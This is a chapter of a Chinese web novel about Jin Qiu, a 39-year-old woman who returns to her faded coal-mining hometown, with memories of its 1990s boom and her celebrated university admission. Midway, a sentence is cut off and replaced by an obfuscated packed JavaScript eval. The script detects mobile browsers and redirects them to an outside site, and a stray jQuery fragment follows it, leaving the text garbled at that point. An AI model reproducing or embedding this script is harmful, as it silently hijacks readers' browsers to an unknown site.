金秋，39岁，带着两个孩子，从上海回到了她的老家——黑金镇，东北一座破败的小镇。
现在是凌晨3点，外面风雨交加，整座小镇处于一片灰暗中，正像她一样，心里的雨一直下。
这座小镇曾经辉煌过，在上世纪的90年代，它曾经是整个省甚至全国煤炭供应的主要集中地，也因为盛产水稻，而闻名于全国，是那种你走到哪儿提到它的名字，别人都知道的程度。当别人还只是走路上学，或者骑着二八大杠上学都觉得荣耀的时候，金秋是每天免费坐着火车上下学的，那时省城的老百姓恐怕很少会坐上火车，但这座小镇的火车已经通往好多村甚至城市了，村民们下田种地，都可以搭一段顺风火车。
当时小镇有多有钱呢？
从金秋记事起，每年春节冰灯展和大年三十的烟花秀都是必备项目，那时100米长的冰滑梯，是她每年都能玩到的。临近春节，巨大的冰城堡在小镇中心广场早早就会有工匠师傅在搭建，金秋那时最喜欢的就是在冰块里找鱼为乐。它们在水里游的姿势各不相同，就那样冻结在一瞬间，在冰块里面安上各种颜色的灯，它们就好像在奇幻的五彩世界又活了过来似的，它们在冰的世界，在人的世界活了过来，成为了艺术品。
当全国普遍工人工资只有每月十几元时，小镇的煤矿工人每月最高却能达到几百元，他们在用命挣钱。
老一辈儿人说，他们是从阎王爷手里讨钱。
事故，对于小镇居民来说，已经见怪不怪了。
最严重的一次，好几栋矿工家属楼的媳妇们在一夜之间成了寡妇，至今那地方仍被叫做“寡妇楼”。但是矿里最不缺的就是钱，不出一个月，又有一批不怕死的年轻男人，源源不断地把煤从地底下往出运。
所以，小镇的人一直过着最奢侈的生活，就怕活了今天没明天。所以，这种豁达的生活观也刺激了当地的经济发展，当上海、北京建起了商业街、公园、动物园、歌舞厅时，金秋的小镇一样不少的，全都复制过来。
小镇的中心街道两旁，建起好几座大型商业楼，公园里建起比房子还大的猴笼和鸟笼，供人们免费观看，天女散花的喷泉池，在夜晚，会在五彩的灯光下喷出绚烂的喷泉。
小镇上的人们热烈地活着，有人去省会串亲戚，回来总是说：“屁，还省会呢？都赶不上咱镇一半好！”
金秋就在这样的小镇长大，她的爸妈乘着改革开放凶猛的经济浪潮，在四五队先是开了一家鞋厂，后又跑到镇上，开了一间鞋帽服装店，成为小镇的时尚前沿。所以，金秋从来在同学中，都是最光鲜亮丽的那一个。
她的妈妈是个美人，爸爸乘着火车去省城进回来的裙子，只要妈妈穿上，往店门口一站，当天就可以脱销。
他们是成功的二道贩子，金秋因此也过上了富裕的生活，受到了良好的教育。
虽然小镇的百姓们自己苦，但绝不会苦孩子。小镇加上周边十几个村，总共不到20万的人口，小学有两个、初中有三个，最大、最平整的一块地给了唯一的高中，米黄色的楼群，外加上宽敞的操场，以及一座古香古色的依山而建的后花园，亭台楼阁，荷花满塘，绝对是整个小镇最大、最漂亮的地方。
就连学校的围墙上，都找了画工，精致地画上山水画，并配上激励的词语。可以说，正像当时孩子们唱的一样，“我们是21世纪的接班人”，想想就值得骄傲。
学校旁边还用当时最先进的绿色琉璃瓷砖为顶，盖了一座几乎通体玻璃的“少年宫”，绝对是全国领先的新潮建筑。里面可以学钢琴、声乐、萨克斯、舞蹈……，城里有的，这里一样不少。
就连可以容纳上千人的电影院，也在镇中心建了起来。像是《烛光里的妈妈》、《一个独生女的故事》……这些新出的，极具教育意义的电影，金秋的小学没少组织看。
生活在这样的小镇，老百姓们都很知足，即使偶尔井下会出现事故，似乎也是瑕不掩瑜了。实在缺钱就去挖煤卖命，等攒够了钱，再做点小买卖，是当时大部分人的想法。
所以，人们热爱这座小镇，就像热爱自己的命一样。
即使是现在小镇老了，地下的煤已经挖空，曾经的辉煌已经不再，商业街上的楼房都已经破败，就连每天最忙碌的火车也停在长满野草的铁轨上，被雨水冲刷着，流了一地的黄澄澄的溴水。
当井下的机器全部停止运转，整座小镇似乎也停了下来，一切都安静了，变回了一座再普通不过的小镇。
但是老一辈儿的人还是爱他，爱他曾经的繁华和喧闹，也爱他如今像老人一样的安宁，因为毕竟他们也跟小镇一样，老了，再也热闹不起来。
年轻人，多数都去离小镇半小时车程的市里生活了，他们住着30几层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718180|173821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的电梯房，继续繁华着，逛着崭新的商场，在摩天轮里俯瞰车水马龙。
小镇渐渐地被遗忘，破旧的楼房被判定为危楼，人们都搬了出去，曾经最热闹的百货中心，也都已经人去楼空，长满了杂草。
一切都被遗忘了，似乎连拆这些破旧的楼，都懒得拆了。
它们就像一座座见证辉煌历史的牌坊，就那样摆在那，任风吹雨淋、日头暴晒，等着它们自动化为碎渣。
金秋家的服装店搬迁了，搬到大路旁边的一家小店，妈妈也老了，每天穿着花花绿绿的老年衫，坐在门口，跟着她的老相识打招呼。
日子就这样平淡如水地过着，时间不会因为你的繁华或破败而作任何停留。
金秋觉得，她就是这座小镇，这座小镇就是她。
爸妈用他们的青春，用他们的一切能力，奋力托举她，让她从小学声乐、学钢琴、学书法，上最好的学校，穿最漂亮的衣服，请最好的家教老师。
她也不负众望，一路顺顺利利考上上海一所重点大学。金秋仍然清晰地记得，她的升学宴有多豪华。爸爸当时请了市里最知名的婚纱影楼来给她录像拍照，但是金秋至今一直没有勇气看那盘录像带。
作为小镇里比较知名的个体户老板，爸爸在小镇最大的酒店一楼，席开30桌宴请宾客。金秋从来没见过爸爸那么高兴过，比女儿结婚还要高兴。光是门口大大的红拱门就立了5个，把那一路都染得红彤彤的，上面写着“恭喜爱女金秋考上上海**大学”，古代的状元恐怕都没金秋当时轰动得大。
还记得爸爸喝得满脸通红，端着酒杯大声宣布：
“全省就招3个人，我女儿分数第一！”
大家都附和道：
“这得多大的雨点儿，能淋到咱们头上啊！你女儿真是才女！”
用爸爸的话说，他当时真算是光宗耀祖了，生出金秋这样给他长脸的女儿，也不枉她爷爷给他起名叫金光耀。
他们兄弟几个顶着“光宗耀祖”的名，一辈子没做到的事，让金秋做到了。
当时他不会想到，20年前有多给他长脸的女儿，20年后，就会多么给他打脸！
人都说，知识可以改变命运，金秋觉得，她绝对是最失败的那一个，是最具有代表性的反例。
要说金秋，得先从她出生的那年月开始，那是上世纪八十年代。